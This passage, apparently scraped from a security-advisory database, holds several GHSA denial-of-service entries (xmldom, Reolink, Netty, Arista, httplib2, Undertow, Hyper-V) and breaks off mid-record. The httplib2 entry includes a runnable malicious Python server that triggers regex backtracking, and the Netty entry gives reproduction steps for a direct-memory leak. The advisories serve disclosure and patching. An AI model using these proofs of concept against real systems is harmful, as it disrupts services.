  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83614"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1071"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1072"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xmldom/xmldom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xmldom: Quadratic-time parsing via the malformed-input recovery path \u2014 `parseElementStartPart` re-scan and `normalize()` adjacent-text merge"
}

GHSA-93V6-CJ2C-8C8G

Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2022-04-20 00:01
VLAI
Details

A denial of service vulnerability exists in the netserver recv_command functionality of reolink RLC-410W v3.0.0.136_20121102. A specially-crafted network request can lead to a reboot. An attacker can send a malicious packet to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-21801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-28T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A denial of service vulnerability exists in the netserver recv_command functionality of reolink RLC-410W v3.0.0.136_20121102. A specially-crafted network request can lead to a reboot. An attacker can send a malicious packet to trigger this vulnerability.",
  "id": "GHSA-93v6-cj2c-8c8g",
  "modified": "2022-04-20T00:01:45Z",
  "published": "2022-01-29T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21801"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1450"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-93WV-JW9V-4972

Vulnerability from github – Published: 2026-07-31 16:51 – Updated: 2026-07-31 16:51
VLAI
Summary
Netty: HTTP/2 decompression leaks ByteBuf reference count when the decompressor channel is already closed (Direct memory leak / OOM DoS)
Details

Summary

A remote, unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener. When a DATA frame is processed for a stream whose decompressor has already been closed, Http2Decompressor.decompress(...) retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with OutOfMemoryError — a denial of service.

Details

In codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java, Http2Decompressor.decompress(...) does:

// around line 433
decompressor.writeInbound(data.retain());

The argument data.retain() is evaluated before writeInbound(...) executes, incrementing the buffer's reference count (refCnt: 1 -> 2). The very first statement of EmbeddedChannel.writeInbound(...) is ensureOpen() (EmbeddedChannel.java:360), which throws ClosedChannelException when the decompressor's internal EmbeddedChannel has already been closed.

When that happens: - the DATA payload has been retain()ed but never entered the pipeline, so the decoder's finally { release() } never runs; - the surrounding catch (Throwable t) block in decompress(...) (around line 451) does not release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.

The decompressor channel is closed on a reachable path: Http2Connection onStreamRemoved → Http2Decompressor.cleanup() → EmbeddedChannel.finishAndReleaseAll() (DelegatingDecompressorFrameListener.java:125-133 and 418-420).

A peer that sends DATA frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send DATA after END_STREAM / stream removal) thus leaks one direct ByteBuf per frame.

Affected code: DelegatingDecompressorFrameListener.java, method Http2Decompressor.decompress(...) — the decompressor.writeInbound(data.retain()) call (line ~433) and its catch (Throwable t) block (line ~451), which lacks a data.release() rollback.

Suggested fix: track whether writeInbound succeeded and roll back the extra retain() only when the data never entered the pipeline:

boolean writeSucceeded = false;
try {
    decompressor.writeInbound(data.retain());
    writeSucceeded = true;            // pipeline now owns the release
    if (endOfStream) {
        decompressor.finish();
    }
    return 0;
} catch (Throwable t) {
    if (!writeSucceeded) {
        data.release();               // roll back the extra retain(); data never entered pipeline
    }
    if (t instanceof Http2Exception) {
        throw (Http2Exception) t;
    }
    throw streamError(stream.id(), INTERNAL_ERROR, t, ...);
}
Case writeSucceeded catch action Reason
ensureOpen() throws (this bug) false data.release() data never entered pipeline
handler throws internally true no release decoder finally already released
finish() throws true no release writeInbound already succeeded

PoC

Reproduced against the official, unmodified netty-codec-http2-4.2.15.Final.jar from Maven Central, using real netty classes and measuring ByteBuf.refCnt() directly (the leaking logic is not mocked).

Reproduction steps:

  1. Download the official artifacts and their dependencies from Maven Central (version 4.2.15.Final): netty-common, netty-buffer, netty-transport, netty-resolver, netty-handler, netty-codec-base, netty-codec, netty-codec-http, netty-codec-http2, netty-codec-compression.
  2. Build a real Http2Decompressor wrapping a real gzip decoder EmbeddedChannel (ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)).
  3. Close the internal decompressor channel (equivalent to the end state of cleanup() / finishAndReleaseAll()).
  4. Encode a real gzip DATA payload with ZlibCodecFactory.newZlibEncoder(GZIP) (refCnt = 1).
  5. Call decompress(...) on the closed channel.
  6. Observe: writeInbound(...) throws ClosedChannelException at its ensureOpen() entry (EmbeddedChannel.java:360), reached from DelegatingDecompressorFrameListener.java:433; data.refCnt() is now 2.
  7. Release once as the frame reader would; refCnt stays at 1 (release() returns false) → leaked.

Observed reference-count trace:

gzipData initial refCnt = 1
decompress -> data.retain()        -> refCnt = 2   (retain applied, never rolled back)
caller releases once               -> refCnt = 1   (release() returns false; not deallocated)
=> buffer never reaches 0 -> direct memory leaked

Observed exception stack (confirms the leak point):

java.nio.channels.ClosedChannelException
    at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959)
    at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979)
    at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360)
    at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor
            .decompress(DelegatingDecompressorFrameListener.java:433)

Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via close() rather than through cleanup(). The end state is identical (channel closed → writeInbound throws at ensureOpen()); the bug depends on "channel closed → retain not rolled back", not on how the channel was closed. - In the isolated harness the rethrown StreamException's root cause shows as NullPointerException because the harness does not initialise an Http2LocalFlowController (a secondary exception reported during channel close). The leak is already sealed at the ClosedChannelException thrown by writeInbound's ensureOpen() (line 360); in a real server with the flow controller initialised, the triggering exception is the ClosedChannelException itself.

A complete self-contained PoC (Verify02DecompressLeak.java, ~150 lines, no test framework) plus the exact javac / java commands can be attached on request.

Impact

  • Vulnerability type: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted DATA frame leaks one (typically direct/off-heap) ByteBuf.
  • Who is impacted: any server (or client) that enables HTTP/2 content decompression by installing DelegatingDecompressorFrameListener in its HTTP/2 pipeline.
  • Attacker requirements: remote, unauthenticated. The attacker only needs to send HTTP/2 DATA frames for a stream whose decompressor has been cleaned up (e.g. continue sending DATA after END_STREAM). No special server configuration beyond decompression being enabled.
  • Result: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with OutOfMemoryError.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.15.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.135.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0.Final"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:51:50Z",
    "nvd_published_at": "2026-07-21T23:17:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA remote, unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in\napplications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`.\nWhen a `DATA` frame is processed for a stream whose decompressor has already been closed,\n`Http2Decompressor.decompress(...)` retains the frame buffer but never releases it on the error\npath, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2\nconnection exhausts direct memory and crashes the JVM with `OutOfMemoryError` \u2014 a denial of service.\n\n### Details\n\nIn `codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java`,\n`Http2Decompressor.decompress(...)` does:\n\n```java\n// around line 433\ndecompressor.writeInbound(data.retain());\n```\n\nThe argument `data.retain()` is evaluated **before** `writeInbound(...)` executes, incrementing the\nbuffer\u0027s reference count (`refCnt: 1 -\u003e 2`). The very first statement of\n`EmbeddedChannel.writeInbound(...)` is `ensureOpen()` (`EmbeddedChannel.java:360`), which throws\n`ClosedChannelException` when the decompressor\u0027s internal `EmbeddedChannel` has already been closed.\n\nWhen that happens:\n- the `DATA` payload has been `retain()`ed but never entered the pipeline, so the decoder\u0027s\n  `finally { release() }` never runs;\n- the surrounding `catch (Throwable t)` block in `decompress(...)` (around line 451) does **not**\n  release the extra reference;\n- the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.\n\nThe decompressor channel is closed on a reachable path:\n`Http2Connection` `onStreamRemoved` \u2192 `Http2Decompressor.cleanup()` \u2192\n`EmbeddedChannel.finishAndReleaseAll()`\n(`DelegatingDecompressorFrameListener.java:125-133` and `418-420`).\n\nA peer that sends `DATA` frames for a stream whose decompressor has already been cleaned up (e.g.\ncontinuing to send `DATA` after `END_STREAM` / stream removal) thus leaks one direct `ByteBuf` per\nframe.\n\n**Affected code**: `DelegatingDecompressorFrameListener.java`, method `Http2Decompressor.decompress(...)`\n\u2014 the `decompressor.writeInbound(data.retain())` call (line ~433) and its `catch (Throwable t)`\nblock (line ~451), which lacks a `data.release()` rollback.\n\n**Suggested fix**: track whether `writeInbound` succeeded and roll back the extra `retain()` only when\nthe data never entered the pipeline:\n\n```java\nboolean writeSucceeded = false;\ntry {\n    decompressor.writeInbound(data.retain());\n    writeSucceeded = true;            // pipeline now owns the release\n    if (endOfStream) {\n        decompressor.finish();\n    }\n    return 0;\n} catch (Throwable t) {\n    if (!writeSucceeded) {\n        data.release();               // roll back the extra retain(); data never entered pipeline\n    }\n    if (t instanceof Http2Exception) {\n        throw (Http2Exception) t;\n    }\n    throw streamError(stream.id(), INTERNAL_ERROR, t, ...);\n}\n```\n\n| Case | writeSucceeded | catch action | Reason |\n|------|:---:|---|---|\n| `ensureOpen()` throws (this bug) | `false` | `data.release()` | data never entered pipeline |\n| handler throws internally | `true` | no release | decoder `finally` already released |\n| `finish()` throws | `true` | no release | `writeInbound` already succeeded |\n\n### PoC\n\nReproduced against the official, unmodified `netty-codec-http2-4.2.15.Final.jar` from Maven Central,\nusing real netty classes and measuring `ByteBuf.refCnt()` directly (the leaking logic is not mocked).\n\nReproduction steps:\n\n1. Download the official artifacts and their dependencies from Maven Central (version `4.2.15.Final`):\n   `netty-common`, `netty-buffer`, `netty-transport`, `netty-resolver`, `netty-handler`,\n   `netty-codec-base`, `netty-codec`, `netty-codec-http`, `netty-codec-http2`,\n   `netty-codec-compression`.\n2. Build a real `Http2Decompressor` wrapping a real gzip decoder `EmbeddedChannel`\n   (`ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)`).\n3. Close the internal decompressor channel (equivalent to the end state of\n   `cleanup()` / `finishAndReleaseAll()`).\n4. Encode a real gzip `DATA` payload with `ZlibCodecFactory.newZlibEncoder(GZIP)` (`refCnt = 1`).\n5. Call `decompress(...)` on the closed channel.\n6. Observe: `writeInbound(...)` throws `ClosedChannelException` at its `ensureOpen()` entry\n   (`EmbeddedChannel.java:360`), reached from `DelegatingDecompressorFrameListener.java:433`;\n   `data.refCnt()` is now `2`.\n7. Release once as the frame reader would; `refCnt` stays at `1` (`release()` returns `false`) \u2192 leaked.\n\nObserved reference-count trace:\n\n```\ngzipData initial refCnt = 1\ndecompress -\u003e data.retain()        -\u003e refCnt = 2   (retain applied, never rolled back)\ncaller releases once               -\u003e refCnt = 1   (release() returns false; not deallocated)\n=\u003e buffer never reaches 0 -\u003e direct memory leaked\n```\n\nObserved exception stack (confirms the leak point):\n\n```\njava.nio.channels.ClosedChannelException\n    at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959)\n    at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979)\n    at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360)\n    at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor\n            .decompress(DelegatingDecompressorFrameListener.java:433)\n```\n\nTwo notes on the harness (they do not affect the leak mechanism):\n- The internal channel is closed directly via `close()` rather than through `cleanup()`. The end\n  state is identical (channel closed \u2192 `writeInbound` throws at `ensureOpen()`); the bug depends on\n  \"channel closed \u2192 retain not rolled back\", not on *how* the channel was closed.\n- In the isolated harness the rethrown `StreamException`\u0027s root cause shows as `NullPointerException`\n  because the harness does not initialise an `Http2LocalFlowController` (a secondary exception\n  reported during channel close). The leak is already sealed at the `ClosedChannelException` thrown\n  by `writeInbound`\u0027s `ensureOpen()` (line 360); in a real server with the flow controller\n  initialised, the triggering exception is the `ClosedChannelException` itself.\n\nA complete self-contained PoC (`Verify02DecompressLeak.java`, ~150 lines, no test framework) plus the\nexact `javac` / `java` commands can be attached on request.\n\n### Impact\n\n- **Vulnerability type**: uncontrolled resource consumption / memory leak (CWE-401), leading to\n  denial of service. Each crafted `DATA` frame leaks one (typically direct/off-heap) `ByteBuf`.\n- **Who is impacted**: any server (or client) that enables HTTP/2 content decompression by installing\n  `DelegatingDecompressorFrameListener` in its HTTP/2 pipeline.\n- **Attacker requirements**: remote, unauthenticated. The attacker only needs to send HTTP/2 `DATA`\n  frames for a stream whose decompressor has been cleaned up (e.g. continue sending `DATA` after\n  `END_STREAM`). No special server configuration beyond decompression being enabled.\n- **Result**: sustained triggering over a long-lived connection exhausts direct memory and crashes\n  the JVM with `OutOfMemoryError`.",
  "id": "GHSA-93wv-jw9v-4972",
  "modified": "2026-07-31T16:51:50Z",
  "published": "2026-07-31T16:51:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56819"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HTTP/2 decompression leaks ByteBuf reference count when the decompressor channel is already closed (Direct memory leak / OOM DoS)"
}

GHSA-93WW-VWHW-JWXM

Vulnerability from github – Published: 2025-12-16 21:30 – Updated: 2025-12-16 21:30
VLAI
Details

On affected platforms running Arista EOS with OSPFv3 configured, a specially crafted packet can cause the OSFPv3 process to have high CPU utilization which may result in the OSFPv3 process being restarted. This may cause disruption in the OSFPv3 routes on the switch.

This issue was discovered internally by Arista and is not aware of any malicious uses of this issue in customer networks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T20:15:49Z",
    "severity": "HIGH"
  },
  "details": "On affected platforms running Arista EOS with OSPFv3 configured, a specially crafted packet can cause the OSFPv3 process to have high CPU utilization which may result in the OSFPv3 process being restarted. This may cause disruption in the OSFPv3 routes on the switch.\n\nThis issue was discovered internally by Arista and is not aware of any malicious uses of this issue in customer networks.",
  "id": "GHSA-93ww-vwhw-jwxm",
  "modified": "2025-12-16T21:30:55Z",
  "published": "2025-12-16T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8872"
    },
    {
      "type": "WEB",
      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/23115-security-advisory-0128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-93XJ-8MRV-444M

Vulnerability from github – Published: 2021-02-08 19:41 – Updated: 2024-09-23 16:13
VLAI
Summary
Regular Expression Denial of Service (REDoS) in httplib2
Details

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/init.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory: * Open an issue in httplib2 * Email current maintainer at 2021-01

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "httplib2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-08T19:41:34Z",
    "nvd_published_at": "2021-02-08T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA malicious server which responds with long series of `\\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.\n\n### Patches\nVersion 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.\nhttps://github.com/httplib2/httplib2/pull/182\n\n### Workarounds\n```py\nimport httplib2\nhttplib2.USE_WWW_AUTH_STRICT_PARSING = True\n```\n\n### Technical Details\n\nThe vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338\n\nThe section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:\n\n    \\s*[^ \\t\\r\\n=]+\\s*=\n\nSince all three infinitely repeating groups accept the non-breaking space character `\\xa0`, a long string of `\\xa0` causes catastrophic backtracking.\n\nThe complexity is cubic, so doubling the length of the malicious string of `\\xa0` makes processing take 8 times as long.\n\n### Reproduction Steps\n\nRun a malicious server which responds with\n\n    www-authenticate: x \\xa0\\xa0\\xa0\\xa0x\n\nbut with many more `\\xa0` characters.\n\nAn example malicious python server is below:\n\n```py\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\ndef make_header_value(n_spaces):\n    repeat = \"\\xa0\" * n_spaces\n    return f\"x {repeat}x\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.log_request(401)\n        self.send_response_only(401)  # Don\u0027t bother sending Server and Date\n        n_spaces = (\n            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences\n            if len(self.path) \u003e 1 else\n            65512  # Max header line length 65536\n        )\n        value = make_header_value(n_spaces)\n        self.send_header(\"www-authenticate\", value)  # This header can actually be sent multiple times\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    HTTPServer((\"\", 1337), Handler).serve_forever()\n```\n\nConnect to the server with httplib2:\n\n```py\nimport httplib2\nhttplib2.Http(\".cache\").request(\"http://localhost:1337\", \"GET\")\n```\n\nTo benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000\n\n\n### References\nThanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2021-01](mailto:temotor@gmail.com)",
  "id": "GHSA-93xj-8mrv-444m",
  "modified": "2024-09-23T16:13:16Z",
  "published": "2021-02-08T19:41:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21240"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/pull/182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/commit/bd9ee252c8f099608019709e22c0d705e98d26bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/httplib2/httplib2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2021-16.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/httplib2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Regular Expression Denial of Service (REDoS) in httplib2"
}

GHSA-9442-GM4V-R222

Vulnerability from github – Published: 2024-06-20 15:31 – Updated: 2026-02-27 21:38
VLAI
Summary
Undertow's url-encoded request path information can be broken on ajp-listener
Details

A vulnerability was found in Undertow, where URL-encoded request paths can be mishandled during concurrent requests on the AJP listener. This issue arises because the same buffer is used to decode the paths for multiple requests simultaneously, leading to incorrect path information being processed. As a result, the server may attempt to access the wrong path, causing errors such as "404 Not Found" or other application failures. This flaw can potentially lead to a denial of service, as legitimate resources become inaccessible due to the path mix-up.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0.Alpha1"
            },
            {
              "fixed": "2.3.14.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.33.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6162"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-488"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-20T16:22:33Z",
    "nvd_published_at": "2024-06-20T15:15:50Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Undertow, where URL-encoded request paths can be mishandled during concurrent requests on the AJP listener. This issue arises because the same buffer is used to decode the paths for multiple requests simultaneously, leading to incorrect path information being processed. As a result, the server may attempt to access the wrong path, causing errors such as \"404 Not Found\" or other application failures. This flaw can potentially lead to a denial of service, as legitimate resources become inaccessible due to the path mix-up.",
  "id": "GHSA-9442-gm4v-r222",
  "modified": "2026-02-27T21:38:27Z",
  "published": "2024-06-20T15:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/pull/1612"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/90f202ada89b6d9883beed0f1fe10c99d470d9a8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/a28ac53076e2fa532266d25e0c0b1a01d0e9d2cf"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1194"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4386"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-6162"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2293069"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/releases/tag/2.2.33.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/releases/tag/2.3.14.Final"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/JBEAP-26268"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/UNDERTOW-2334"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241129-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Undertow\u0027s url-encoded request path information can be broken on ajp-listener"
}

GHSA-944F-9X4F-P6C5

Vulnerability from github – Published: 2022-01-12 00:01 – Updated: 2024-11-14 21:31
VLAI
Details

Windows Hyper-V Denial of Service Vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-21847"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-11T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Windows Hyper-V Denial of Service Vulnerability.",
  "id": "GHSA-944f-9x4f-p6c5",
  "modified": "2024-11-14T21:31:43Z",
  "published": "2022-01-12T00:01:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21847"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21847"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21847"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
